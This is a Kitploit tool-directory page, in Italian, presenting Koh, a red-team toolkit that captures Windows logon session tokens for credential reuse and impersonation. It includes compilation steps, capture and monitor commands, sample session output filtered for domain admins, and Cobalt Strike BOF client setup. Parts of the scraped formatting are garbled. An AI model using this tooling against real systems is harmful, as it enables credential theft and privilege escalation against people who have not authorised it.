Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Koh — Cattura token di sessione di accesso di Windows tramite perdita di token per consentire il riutilizzo delle credenziali e l'impersonificazione, con integrazione Cobalt Strike BOF per il furto di token post-sfruttamento. | Kitploit
Strumenti/GitHubGitHub/ghostpack/koh
Post-ExploitAutenticazioneRed Teaming
GitHubghostpack/koh

Koh

Cattura token di sessione di accesso di Windows tramite perdita di token per consentire il riutilizzo delle credenziali e l'impersonificazione, con integrazione Cobalt Strike BOF per il furto di token post-sfruttamento.

Vedi Repository
52267184 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Koh


Koh è un set di strumenti in C# e Beacon Object File (BOF) che permette la cattura di materiali di credenziali utente tramite una deliberata perdita di token/sessioni di accesso.

Parte del codice è stata ispirata dal progetto Internal-Monologue (senza licenza) di Elad Shamir, oltre che da KB180548. Per capire perché ciò è possibile e l'approccio di Koh, vedere la sezione Background Tecnico di questo README.

Per una spiegazione più approfondita della motivazione dietro Koh e del suo approccio, vedere il post Koh: The Token Stealer.

@harmj0y è l'autore principale di questo codice. @tifkin_ ha contribuito all'approccio, all'implementazione BOF e ad alcuni meccanismi relativi ai token.

Koh è concesso in licenza sotto la licenza BSD 3-Clause.

Table of Contents

  • Koh
    • Table of Contents
    • Koh Server
      • Compilation
      • Usage
      • Example - Listing Logon Sessions
      • Example - Monitoring for Logon Sessions (with group SID filtering)
    • Koh Client
      • Usage
      • Group SID Filtering
      • Example - Capture
    • Technical Background
      • Why This Is Possible
      • Approach
        • Possible Approaches
        • Our Approach
        • Advantages/Disadvantages Versus Traditional Credential Extraction
          • Advantages
          • Disadvantages
    • The Inline Shenanigans Bug
    • IOCs
    • Mitigations
    • TODO

Koh Server

Il "server" di Koh cattura i token e utilizza named pipe per il controllo/la comunicazione. Può essere impacchettato in Donut e iniettato in qualsiasi processo ad alta integrità SYSTEM (vedere The Inline Shenanigans Bug).

Compilation

Non abbiamo intenzione di rilasciare binari per Koh, quindi dovrai compilarlo da solo :)

Koh è stato compilato per .NET 4.7.2 ed è compatibile con Visual Studio 2019 Community Edition. Basta aprire il file .sln del progetto, scegliere "Release" e compilare. L'assembly Koh.exe e il PIC Koh.bin costruito con Donut verranno generati nella directory principale. Il blob Donut è compatibile sia con x86 che con x64 ed è compilato con le seguenti opzioni utilizzando la versione 0.9.3 di Donut in ./Misc/Donut.exe:``` [ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort

La licenza di Donut è BSD 3-clause.

### Utilizzo
   
   `Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`

* **list** - elenca le sessioni di accesso (non di rete)
* **monitor** - monitora le sessioni di accesso nuove/univoche (non di rete)
* **capture** - acquisisce un token univoco per ogni SID trovato per le nuove sessioni di accesso (non di rete)

I Group SID possono essere forniti anche tramite riga di comando, in modo che Koh monitori/acquisisca solo le sessioni di accesso che contengono i Group SID specificati nelle informazioni del token negoziato.

### Esempio - Elenco delle sessioni di accesso```
C:\Temp>Koh.exe list

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: list

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\testuser
      LUID        : 207990196
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1119
      Origin LUID : 1677733 (0x1999a5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)
    

Esempio - Monitoraggio delle sessioni di accesso (con filtro SID di gruppo)

Elenca solo i risultati che hanno il SID del gruppo domain admins (-512) nelle loro informazioni sul token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)

## Koh Client

Il client attualmente utilizzabile è un Beacon Object File in `.\Clients\BOF\`. Carica lo script aggressore `.\Clients\BOF\KohClient.cna` nel tuo client Cobalt Strike per abilitare il controllo BOF del server Koh. L'unico requisito per utilizzare i token catturati è **SeImpersonatePrivilege**. La named pipe di comunicazione ha un DACL "Everyone" ma utilizza una password condivisa di base (super sicura).

Per compilare da zero su Linux usando Mingw, consulta lo script `.\Clients\BOF\build.sh`. L'unico requisito (almeno su Debian) dovrebbe essere `apt-get install gcc-mingw-w64`
Scarica lo strumento